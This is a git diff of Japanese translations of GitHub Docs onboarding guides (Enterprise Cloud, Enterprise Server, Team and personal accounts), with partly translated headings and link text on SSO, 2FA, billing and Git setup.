 Organization owners can choose to disable, enable but not enforce, or enable and enforce SAML SSO. For more information, see "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)" and "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)."
-#### 5. Managing team synchronization for your organization
-Organization owners can enable team synchronization between your identity provider (IdP) and {% data variables.product.prodname_dotcom %} to allow organization owners and team maintainers to connect teams in your organization with IdP groups. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)."
+#### 5. Organization の Team 同期を管理する
+Organization owners can enable team synchronization between your identity provider (IdP) and {% data variables.product.prodname_dotcom %} to allow organization owners and team maintainers to connect teams in your organization with IdP groups. 詳細は「[Organization の Team 同期を管理する](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)」を参照してください。
 
 ### Managing security for an {% data variables.product.prodname_emu_enterprise %}
 
-With {% data variables.product.prodname_emus %}, access and identity is managed centrally through your identity provider. Two-factor authentication and other login requirements should be enabled and enforced on your IdP. 
+With {% data variables.product.prodname_emus %}, access and identity is managed centrally through your identity provider. Two-factor authentication and other login requirements should be enabled and enforced on your IdP.
 
 #### 1. Enabling and SAML single sign-on and provisioning in your {% data variables.product.prodname_emu_enterprise %}
 
@@ -141,23 +141,23 @@ You can connect teams in your organizations to security groups in your identity
 
 #### 3. Managing allowed IP addresses for organizations in your {% data variables.product.prodname_emu_enterprise %}
 
-You can configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your {% data variables.product.prodname_emu_enterprise %}. For more information, see "[Enforcing policies for security settings in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)."
+You can configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your {% data variables.product.prodname_emu_enterprise %}. 詳しい情報については、「[Enterprise にセキュリティ設定のポリシーを適用する](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)」以下を参照してください。
 
 #### 4. Enforcing policies for Advanced Security features in your {% data variables.product.prodname_emu_enterprise %}
 {% data reusables.getting-started.enterprise-advanced-security %}
 
 ### Managing security for an enterprise account without {% data variables.product.prodname_managed_users %}
-To manage security for your enterprise, you can require two-factor authentication, manage allowed IP addresses, enable SAML single sign-on and team synchronization at an enterprise level, and sign up for and enforce GitHub Advanced Security features. 
+To manage security for your enterprise, you can require two-factor authentication, manage allowed IP addresses, enable SAML single sign-on and team synchronization at an enterprise level, and sign up for and enforce GitHub Advanced Security features.
 
 #### 1. Requiring two-factor authentication and managing allowed IP addresses for organizations in your enterprise account
-Enterprise owners can require that organization members, billing managers, and outside collaborators in all organizations owned by an enterprise account use two-factor authentication to secure their personal accounts. Before doing so, we recommend notifying all who have access to organizations in your enterprise. You can also configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your enterprise account. 
+Enterprise のオーナーは、Enterprise アカウントが所有するすべての Organization で、Organization のメンバー、支払いマネージャー、外部コラボレーターに対して個人アカウントをセキュアに保つために 2 要素認証の使用を義務化できます。 Before doing so, we recommend notifying all who have access to organizations in your enterprise. You can also configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your enterprise account.
 
 For more information on enforcing two-factor authentication and allowed IP address lists, see "[Enforcing policies for security settings in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)."
 #### 2. Enabling and enforcing SAML single sign-on for organizations in your enterprise account
-You can centrally manage access to your enterprise's resources, organization membership and team membership using your IdP and SAM single sign-on (SSO). Enterprise owners can enable SAML SSO across all organizations owned by an enterprise account. For more information, see "[About identity and access management for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)."
+You can centrally manage access to your enterprise's resources, organization membership and team membership using your IdP and SAM single sign-on (SSO). Enterprise owners can enable SAML SSO across all organizations owned by an enterprise account. 詳しい情報については、「[Enterprise のアイデンティティとアクセス管理について](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)」を参照してください。
 
 #### 3. Managing team synchronization
-You can enable and manage team synchronization between an identity provider (IdP) and {% data variables.product.prodname_dotcom %} to allow organizations owned by your enterprise account to manage team membership with IdP groups. For more information, see "[Managing team synchronization for organizations in your enterprise account](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+You can enable and manage team synchronization between an identity provider (IdP) and {% data variables.product.prodname_dotcom %} to allow organizations owned by your enterprise account to manage team membership with IdP groups. 詳しい情報については、「[Enterprise アカウントで Organization の Team 同期を管理する](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)」参照してください。
 
 #### 4. Enforcing policies for Advanced Security features in your enterprise account
 {% data reusables.getting-started.enterprise-advanced-security %}
@@ -186,19 +186,19 @@ You can also restrict email notifications for your enterprise account so that en
 ## Part 6: Customizing and automating your organization or enterprise's work on {% data variables.product.prodname_dotcom %}
 Members of your organization or enterprise can use tools from the {% data variables.product.prodname_marketplace %}, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, and existing {% data variables.product.product_name %} features to customize and automate your work.
 
-### 1. Using {% data variables.product.prodname_marketplace %}
+### 1. {% data variables.product.prodname_marketplace %}を使用する
 {% data reusables.getting-started.marketplace %}
 ### 2. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
 {% data reusables.getting-started.api %}
 ### 3. Building {% data variables.product.prodname_actions %}
 {% data reusables.getting-started.actions %}
-### 4. Publishing and managing {% data variables.product.prodname_registry %} 
+### 4. Publishing and managing {% data variables.product.prodname_registry %}
 {% data reusables.getting-started.packages %}
-### 5. Using {% data variables.product.prodname_pages %}
+### 5. {% data variables.product.prodname_pages %}を使用する
 {% data variables.product.prodname_pages %} is a static site hosting service that takes HTML, CSS, and JavaScript files straight from a repository and publishes a website. You can manage the publication of {% data variables.product.prodname_pages %} sites at the organization level. For more information, see  "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)" and "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)."
 ## Part 7: Participating in {% data variables.product.prodname_dotcom %}'s community
 
-Members of your organization or enterprise can use GitHub's learning and support resources to get the help they need. You can also support the open source community. 
+Members of your organization or enterprise can use GitHub's learning and support resources to get the help they need. You can also support the open source community.
 
 ### 1. Reading about {% data variables.product.prodname_ghe_cloud %} on {% data variables.product.prodname_docs %}
 You can read documentation that reflects the features available with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
@@ -210,7 +210,7 @@ For more information, see "[Git and {% data variables.product.prodname_dotcom %}
 ### 3. Supporting the open source community
 {% data reusables.getting-started.sponsors %}
 
-### 4. Contacting {% data variables.contact.github_support %}
+### 4. {% data variables.contact.github_support %} への連絡
 {% data reusables.getting-started.contact-support %}
 
-{% data variables.product.prodname_ghe_cloud %} allows you to submit priority support requests with a target eight-hour response time. For more information, see "[{% data variables.product.prodname_ghe_cloud %} support](/github/working-with-github-support/github-enterprise-cloud-support)."
+{% data variables.product.prodname_ghe_cloud %} allows you to submit priority support requests with a target eight-hour response time. 詳細は「[{% data variables.product.prodname_ghe_cloud %} サポート](/github/working-with-github-support/github-enterprise-cloud-support)」を参照してください。
diff --git a/translations/ja-JP/content/get-started/onboarding/getting-started-with-github-enterprise-server.md b/translations/ja-JP/content/get-started/onboarding/getting-started-with-github-enterprise-server.md
index 4637e3b623..cc5cc567e7 100644
--- a/translations/ja-JP/content/get-started/onboarding/getting-started-with-github-enterprise-server.md
+++ b/translations/ja-JP/content/get-started/onboarding/getting-started-with-github-enterprise-server.md
@@ -1,5 +1,5 @@
 ---
-title: Getting started with GitHub Enterprise Server
+title: GitHub Enterprise Serverを使い始める
 intro: 'Get started with setting up and managing {% data variables.product.product_location %}.'
 versions:
   ghes: '*'
@@ -16,31 +16,31 @@ This guide will walk you through setting up, configuring and managing {% data va
 
 For an overview of how {% data variables.product.product_name %} works, see "[System overview](/admin/overview/system-overview)."
 
-## Part 1: Installing {% data variables.product.product_name %}
-To get started with {% data variables.product.product_name %}, you will need to create your enterprise account, install the instance, use the Management Console for initial setup, configure your instance, and manage billing. 
+## パート 1: {% data variables.product.product_name %} のインストール方法
+To get started with {% data variables.product.product_name %}, you will need to create your enterprise account, install the instance, use the Management Console for initial setup, configure your instance, and manage billing.
 ### 1. Creating your enterprise account
-Before you install {% data variables.product.product_name %}, you can create an enterprise account on {% data variables.product.prodname_dotcom_the_website %} by contacting [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact). An enterprise account on {% data variables.product.prodname_dotcom_the_website %} is useful for billing and for shared features with {% data variables.product.prodname_dotcom_the_website %} via {% data variables.product.prodname_github_connect %}.  For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
-### 2. Installing {% data variables.product.product_name %}
-To get started with {% data variables.product.product_name %}, you will need to install the appliance on a virtualization platform of your choice. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/admin/installation/setting-up-a-github-enterprise-server-instance)."
+Before you install {% data variables.product.product_name %}, you can create an enterprise account on {% data variables.product.prodname_dotcom_the_website %} by contacting [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact). An enterprise account on {% data variables.product.prodname_dotcom_the_website %} is useful for billing and for shared features with {% data variables.product.prodname_dotcom_the_website %} via {% data variables.product.prodname_github_connect %}.  詳細は「[Enterprise アカウントについて](/admin/overview/about-enterprise-accounts)」を参照してください。
+### 2. {% data variables.product.product_name %}のインストール
+To get started with {% data variables.product.product_name %}, you will need to install the appliance on a virtualization platform of your choice. 詳細は「[{% data variables.product.prodname_ghe_server %}インスタンスをセットアップする](/admin/installation/setting-up-a-github-enterprise-server-instance)」を参照してください。
 
 ### 3. Using the Management Console
 You will use the Management Console to walk through the initial setup process when first launching {% data variables.product.product_location %}. You can also use the  Management Console to manage instance settings such as the license, domain, authentication, and TLS. For more information, see "[Accessing the management console](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)."
 
-### 4. Configuring {% data variables.product.product_location %}
+### 4. {% data variables.product.product_location %} を設定する
 In addition to the Management Console, you can use the site admin dashboard and the administrative shell (SSH) to manage {% data variables.product.product_location %}. For example, you can configure applications and rate limits, view reports, use command-line utilities. For more information, see "[Configuring your enterprise](/admin/configuration/configuring-your-enterprise)."
 
-You can use the default network settings used by {% data variables.product.product_name %} via the dynamic host configuration protocol (DHCP), or you can also configure the network settings using the virtual machine console. You can also configure a proxy server or firewall rules. For more information, see "[Configuring network settings](/admin/configuration/configuring-network-settings)."
+You can use the default network settings used by {% data variables.product.product_name %} via the dynamic host configuration protocol (DHCP), or you can also configure the network settings using the virtual machine console. プロキシサーバあるいはファイアウォールルールを設定することもできます。 For more information, see "[Configuring network settings](/admin/configuration/configuring-network-settings)."
 
-### 5. Configuring high availability
+### 5. High Availability の設定
 You can configure {% data variables.product.product_location %} for high availability to minimize the impact of hardware failures and network outages. For more information, see "[Configuring high availability](/admin/enterprise-management/configuring-high-availability)."
 
-### 6. Setting up a staging instance
-You can set up a staging instance to test modifications, plan for disaster recovery, and try out updates before applying them to {% data variables.product.product_location %}.  For more information, see "[Setting up a staging instance](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)."
+### 6. ステージングインスタンスのセットアップ
+You can set up a staging instance to test modifications, plan for disaster recovery, and try out updates before applying them to {% data variables.product.product_location %}.  詳しい情報については "[ステージングインスタンスのセットアップ](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)"を参照してください。
 
 ### 7. Designating backups and disaster recovery
-To protect your production data, you can configure automated backups of {% data variables.product.product_location %} with {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see "[Configuring backups on your appliance](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)."
+To protect your production data, you can configure automated backups of {% data variables.product.product_location %} with {% data variables.product.prodname_enterprise_backup_utilities %}. 詳しくは、"[ アプライアンスでのバックアップの設定](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)。"を参照してください。
 
-### 8. Managing billing for your enterprise
+### 8. Enterprise の支払いを管理する
 Billing for all the organizations and {% data variables.product.product_name %} instances connected to your enterprise account is aggregated into a single bill charge for all of your paid {% data variables.product.prodname_dotcom %}.com services. Enterprise owners and billing managers can access and manage billing settings for enterprise accounts. For more information, see "[Managing billing for your enterprise](/admin/overview/managing-billing-for-your-enterprise)."
 
 ## Part 2: Organizing and managing your team
@@ -49,13 +49,13 @@ As an enterprise owner or administrator, you can manage settings on user, reposi
 ### 1. Managing members of {% data variables.product.product_location %}
 {% data reusables.getting-started.managing-enterprise-members %}
 
-### 2. Creating organizations
+### 2. Organizationの作成
 {% data reusables.getting-started.creating-organizations %}
 
 ### 3. Adding members to organizations
 {% data reusables.getting-started.adding-members-to-organizations %}
 
-### 4. Creating teams
+### 4. Teamの作成
 {% data reusables.getting-started.creating-teams %}
 
 ### 5. Setting organization and repository permission levels
@@ -88,7 +88,7 @@ You can upgrade your {% data variables.product.product_name %} license to includ
 You can customize and automate work in organizations in your enterprise with {% data variables.product.prodname_dotcom %} and {% data variables.product.prodname_oauth_apps %}, {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %} , and {% data variables.product.prodname_pages %}.
 
 ### 1. Building {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}
-You can build integrations with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, such as {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_apps %}, for use in organizations in your enterprise to complement and extend your workflows. For more information, see "[About apps](/developers/apps/getting-started-with-apps/about-apps)."
+You can build integrations with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, such as {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_apps %}, for use in organizations in your enterprise to complement and extend your workflows. 詳しい情報については「[アプリケーションについて](/developers/apps/getting-started-with-apps/about-apps)」を参照してください。
 ### 2. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
 {% data reusables.getting-started.api %}
 
@@ -98,19 +98,19 @@ You can build integrations with the {% ifversion fpt or ghec %}{% data variables
 
 For more information on enabling and configuring {% data variables.product.prodname_actions %} on {% data variables.product.product_name %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)."
 
-### 4. Publishing and managing {% data variables.product.prodname_registry %} 
+### 4. Publishing and managing {% data variables.product.prodname_registry %}
 {% data reusables.getting-started.packages %}
 
 For more information on enabling and configuring {% data variables.product.prodname_registry %} for {% data variables.product.product_location %}, see "[Getting started with {% data variables.product.prodname_registry %} for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)."
 {% endif %}
 
-### 5. Using {% data variables.product.prodname_pages %}
+### 5. {% data variables.product.prodname_pages %}を使用する
 {% data reusables.getting-started.github-pages-enterprise %}
 
 ## Part 5: Connecting with other {% data variables.product.prodname_dotcom %} resources
 You can use {% data variables.product.prodname_github_connect %} to share resources.
 
-If you are the owner of both a {% data variables.product.product_name %} instance and a {% data variables.product.prodname_ghe_cloud %} organization or enterprise account, you can enable {% data variables.product.prodname_github_connect %}. {% data variables.product.prodname_github_connect %} allows you to share specific workflows and features between {% data variables.product.product_location %} and {% data variables.product.prodname_ghe_cloud %}, such as unified search and contributions. For more information, see "[Connecting {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud)."
+If you are the owner of both a {% data variables.product.product_name %} instance and a {% data variables.product.prodname_ghe_cloud %} organization or enterprise account, you can enable {% data variables.product.prodname_github_connect %}. {% data variables.product.prodname_github_connect %} allows you to share specific workflows and features between {% data variables.product.product_location %} and {% data variables.product.prodname_ghe_cloud %}, such as unified search and contributions. 詳細は、「[{% data variables.product.prodname_ghe_server %}を{% data variables.product.prodname_ghe_cloud %}に接続する](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud)」を参照してください。
 
 ## Part 6: Using {% data variables.product.prodname_dotcom %}'s learning and support resources
 Your enterprise members can learn more about Git and {% data variables.product.prodname_dotcom %} with our learning resources, and you can get the support you need when setting up and managing {% data variables.product.product_location %} with {% data variables.product.prodname_dotcom %} Enterprise Support.
diff --git a/translations/ja-JP/content/get-started/onboarding/getting-started-with-github-team.md b/translations/ja-JP/content/get-started/onboarding/getting-started-with-github-team.md
index 27e6ee5e6a..a9a59d1f5f 100644
--- a/translations/ja-JP/content/get-started/onboarding/getting-started-with-github-team.md
+++ b/translations/ja-JP/content/get-started/onboarding/getting-started-with-github-team.md
@@ -10,16 +10,16 @@ This guide will walk you through setting up, configuring and managing your {% da
 ## Part 1: Configuring your account on {% data variables.product.product_location %}
 As the first steps in starting with {% data variables.product.prodname_team %}, you will need to create a user account or log into your existing account on {% data variables.product.prodname_dotcom %}, create an organization, and set up billing.
 
-### 1. About organizations
-Organizations are shared accounts where businesses and open-source projects can collaborate across many projects at once. Owners and administrators can manage member access to the organization's data and projects with sophisticated security and administrative features. For more information on the features of organizations, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations#terms-of-service-and-data-protection-for-organizations)."
+### 1. Organizationについて
+Organizationは、企業やオープンソースプロジェクトが多くのプロジェクトにわたって一度にコラボレーションできる共有アカウントです。 オーナーと管理者は、Organizationのデータとプロジェクトへのメンバーのアクセスを、洗練されたセキュリティ及び管理機能で管理できます。 For more information on the features of organizations, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations#terms-of-service-and-data-protection-for-organizations)."
 
 ### 2. Creating an organization and signing up for {% data variables.product.prodname_team %}
-Before creating an organization, you will need to create a user account or log in to your existing account on {% data variables.product.product_location %}. For more information, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/get-started/signing-up-for-github/signing-up-for-a-new-github-account)."
+Before creating an organization, you will need to create a user account or log in to your existing account on {% data variables.product.product_location %}. 詳しい情報については、「[新しい {% data variables.product.prodname_dotcom %} アカウントにサインアップする](/get-started/signing-up-for-github/signing-up-for-a-new-github-account)」を参照してください。
 
-Once your user account is set up, you can create an organization and pick a plan. This is where you can choose a {% data variables.product.prodname_team %} subscription for your organization. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
+Once your user account is set up, you can create an organization and pick a plan. This is where you can choose a {% data variables.product.prodname_team %} subscription for your organization. 詳しい情報については、「[新しい Organization をゼロから作成する](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)」を参照してください。
 
 ### 3. Managing billing for an organization
-You must manage billing settings, payment method, and paid features and products for each of your personal accounts and organizations separately. You can switch between settings for your different accounts using the context switcher in your settings. For more information, see "[Switching between settings for your different accounts](/billing/managing-your-github-billing-settings/about-billing-on-github#switching-between-settings-for-your-different-accounts)."
+You must manage billing settings, payment method, and paid features and products for each of your personal accounts and organizations separately. You can switch between settings for your different accounts using the context switcher in your settings. 詳しい情報については「[様々なアカウントの設定の切り替え](/billing/managing-your-github-billing-settings/about-billing-on-github#switching-between-settings-for-your-different-accounts)」を参照してください。
 
 Your organization's billing settings page allows you to manage settings like your payment method, billing cycle and billing email, or view information such as your subscription, billing date and payment history. You can also view and upgrade your storage and GitHub Actions minutes. For more information on managing your billing settings, see "[Managing your {% data variables.product.prodname_dotcom %} billing settings](/billing/managing-your-github-billing-settings)."
 
@@ -64,7 +64,7 @@ You can help to make your organization more secure by recommending or requiring
 ## Part 5: Customizing and automating your work on {% data variables.product.product_name %}
 
 {% data reusables.getting-started.customizing-and-automating %}
-### 1. Using {% data variables.product.prodname_marketplace %}
+### 1. {% data variables.product.prodname_marketplace %}を使用する
 {% data reusables.getting-started.marketplace %}
 ### 2. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
 {% data reusables.getting-started.api %}
@@ -72,7 +72,7 @@ You can help to make your organization more secure by recommending or requiring
 ### 3. Building {% data variables.product.prodname_actions %}
 {% data reusables.getting-started.actions %}
 
-### 4. Publishing and managing {% data variables.product.prodname_registry %} 
+### 4. Publishing and managing {% data variables.product.prodname_registry %}
 {% data reusables.getting-started.packages %}
 
 ## Part 6: Participating in {% data variables.product.prodname_dotcom %}'s community
@@ -92,8 +92,8 @@ You can read documentation that reflects the features available with {% data var
 ### 5. Supporting the open source community
 {% data reusables.getting-started.sponsors %}
 
-### 6. Contacting {% data variables.contact.github_support %}
+### 6. {% data variables.contact.github_support %} への連絡
 {% data reusables.getting-started.contact-support %}
-## Further reading
+## 参考リンク
 
 - "[Getting started with your GitHub account](/get-started/onboarding/getting-started-with-your-github-account)"
diff --git a/translations/ja-JP/content/get-started/onboarding/getting-started-with-your-github-account.md b/translations/ja-JP/content/get-started/onboarding/getting-started-with-your-github-account.md
index 245a75c61f..ff5518a84e 100644
--- a/translations/ja-JP/content/get-started/onboarding/getting-started-with-your-github-account.md
+++ b/translations/ja-JP/content/get-started/onboarding/getting-started-with-your-github-account.md
@@ -23,18 +23,18 @@ The first steps in starting with {% data variables.product.product_name %} are t
 {% ifversion fpt or ghec %}There are several types of accounts on {% data variables.product.prodname_dotcom %}. {% endif %} Every person who uses {% data variables.product.product_name %} has their own user account, which can be part of multiple organizations and teams. Your user account is your identity on {% data variables.product.product_location %} and represents you as an individual.
 
 {% ifversion fpt or ghec %}
-### 1. Creating an account
+### 1. アカウントを作成する
 To sign up for an account on {% data variables.product.product_location %}, navigate to https://github.com/ and follow the prompts.
 
-To keep your {% data variables.product.prodname_dotcom %} account secure you should use a strong and unique password. For more information, see "[Creating a strong password](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-strong-password)."
+To keep your {% data variables.product.prodname_dotcom %} account secure you should use a strong and unique password. 詳しい情報については、「[強力なパスワードを作成する](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-strong-password)」を参照してください。
 
 ### 2. Choosing your {% data variables.product.prodname_dotcom %} product
 You can choose {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %} to get access to different features for your personal account. You can upgrade at any time if you are unsure at first which product you want.
 
 For more information on all of {% data variables.product.prodname_dotcom %}'s plans, see "[{% data variables.product.prodname_dotcom %}'s products](/get-started/learning-about-github/githubs-products)."
 
-### 3. Verifying your email address
-To ensure you can use all the features in your {% data variables.product.product_name %} plan, verify your email address after signing up for a new account. For more information, see "[Verifying your email address](/github/getting-started-with-github/signing-up-for-github/verifying-your-email-address)."
+### 3. メールアドレスを検証する
+To ensure you can use all the features in your {% data variables.product.product_name %} plan, verify your email address after signing up for a new account. 詳細は「[メールアドレスを検証する](/github/getting-started-with-github/signing-up-for-github/verifying-your-email-address)」を参照してください。
 {% endif %}
 
 {% ifversion ghes %}
@@ -49,20 +49,20 @@ You will receive an email notification once your enterprise owner for {% data va
 
 {% ifversion fpt or ghes or ghec %}
 ### {% ifversion fpt or ghec %}4.{% else %}2.{% endif %} Configuring two-factor authentication
-Two-factor authentication, or 2FA, is an extra layer of security used when logging into websites or apps. We strongly urge you to configure 2FA for the safety of your account. For more information, see "[About two-factor authentication](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication)."
+2 要素認証、あるいは 2FA は、Web サイトあるいはアプリケーションにログインする際に使われる追加のセキュリティレイヤーです。 We strongly urge you to configure 2FA for the safety of your account. 詳しい情報については「[2 要素認証について](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication)」を参照してください。
 {% endif %}
 ### {% ifversion fpt or ghec %}5.{% elsif ghes %}3.{% else %}2.{% endif %} Viewing your {% data variables.product.prodname_dotcom %} profile and contribution graph
 Your {% data variables.product.prodname_dotcom %} profile tells people the story of your work through the repositories and gists you've pinned, the organization memberships you've chosen to publicize, the contributions you've made, and the projects you've created. For more information, see "[About your profile](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile)" and "[Viewing contributions on your profile](/github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile)."
 
 ## Part 2: Using {% data variables.product.product_name %}'s tools and processes
-To best use {% data variables.product.product_name %}, you'll need to set up Git. Git is responsible for everything {% data variables.product.prodname_dotcom %}-related that happens locally on your computer. To effectively collaborate on {% data variables.product.product_name %}, you'll write in issues and pull requests using {% data variables.product.prodname_dotcom %} Flavored Markdown.
+To best use {% data variables.product.product_name %}, you'll need to set up Git. Git は、{% data variables.product.prodname_dotcom %} に関連してローカルコンピュータで発生するすべての動作の根本を担っています。 To effectively collaborate on {% data variables.product.product_name %}, you'll write in issues and pull requests using {% data variables.product.prodname_dotcom %} Flavored Markdown.
 
 ### 1. Learning Git
 {% data variables.product.prodname_dotcom %}'s collaborative approach to development depends on publishing commits from your local repository to {% data variables.product.product_name %} for other people to view, fetch, and update using Git. For more information about Git, see the "[Git Handbook](https://guides.github.com/introduction/git-handbook/)" guide. For more information about how Git is used on {% data variables.product.product_name %}, see "[{% data variables.product.prodname_dotcom %} flow](/get-started/quickstart/github-flow)."
-### 2. Setting up Git
-If you plan to use Git locally on your computer, whether through the command line, an IDE or text editor, you will need to install and set up Git. For more information, see "[Set up Git](/get-started/quickstart/set-up-git)."
+### 2. Git をセットアップする
+If you plan to use Git locally on your computer, whether through the command line, an IDE or text editor, you will need to install and set up Git. 詳細は「[Git のセットアップ](/get-started/quickstart/set-up-git)」を参照してください。を参照してください。
 
-If you prefer to use a visual interface, you can download and use {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} comes packaged with Git, so there is no need to install Git separately. For more information, see "[Getting started with {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)."
+If you prefer to use a visual interface, you can download and use {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} comes packaged with Git, so there is no need to install Git separately. 詳細は「[{% data variables.product.prodname_desktop %} を使ってみる](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)」を参照してください。
 
 Once you install Git, you can connect to {% data variables.product.product_name %} repositories from your local computer, whether your own repository or another user's fork. When you connect to a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} from Git, you'll need to authenticate with {% data variables.product.product_name %} using either HTTPS or SSH. For more information, see "[About remote repositories](/get-started/getting-started-with-git/about-remote-repositories)."
 
@@ -71,15 +71,15 @@ Everyone has their own unique workflow for interacting with {% data variables.pr
 
 For more information about how to authenticate to {% data variables.product.product_name %} with each of these methods, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github)."
 
-| **Method**  | **Description** | **Use cases** |
-| ------------- | ------------- | ------------- |
-| Browse to {% data variables.product.prodname_dotcom_the_website %} | If you don't need to work with files locally, {% data variables.product.product_name %} lets you complete most Git-related actions directly in the browser, from creating and forking repositories to editing files and opening pull requests.| This method is useful if you want a visual interface and need to do quick, simple changes that don't require working locally. |
-| {% data variables.product.prodname_desktop %} | {% data variables.product.prodname_desktop %} extends and simplifies your {% data variables.product.prodname_dotcom_the_website %} workflow, using a visual interface instead of text commands on the command line. For more information on getting started with {% data variables.product.prodname_desktop %}, see "[Getting started with {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)." | This method is best if you need or want to work with files locally, but prefer using a visual interface to use Git and interact with {% data variables.product.product_name %}. |
-| IDE or text editor  | You can set a default text editor, like [Atom](https://atom.io/) or [Visual Studio Code](https://code.visualstudio.com/) to open and edit your files with Git, use extensions, and view the project structure. For more information, see "[Associating text editors with Git](/github/using-git/associating-text-editors-with-git)." | This is convenient if you are working with more complex files and projects and want everything in one place, since text editors or IDEs often allow you to directly access the command line in the editor. |
-| Command line, with or without {% data variables.product.prodname_cli %} | For the most granular control and customization of how you use Git and interact with {% data variables.product.product_name %}, you can use the command line. For more information on using Git commands, see "[Git cheatsheet](/github/getting-started-with-github/quickstart/git-cheatsheet)."<br/><br/> {% data variables.product.prodname_cli %} is a separate command-line tool you can install that brings pull requests, issues, {% data variables.product.prodname_actions %}, and other {% data variables.product.prodname_dotcom %} features to your terminal, so you can do all your work in one place. For more information, see "[{% data variables.product.prodname_cli %}](/github/getting-started-with-github/using-github/github-cli)." | This is most convenient if you are already working from the command line, allowing you to avoid switching context, or if you are more comfortable using the command line. |
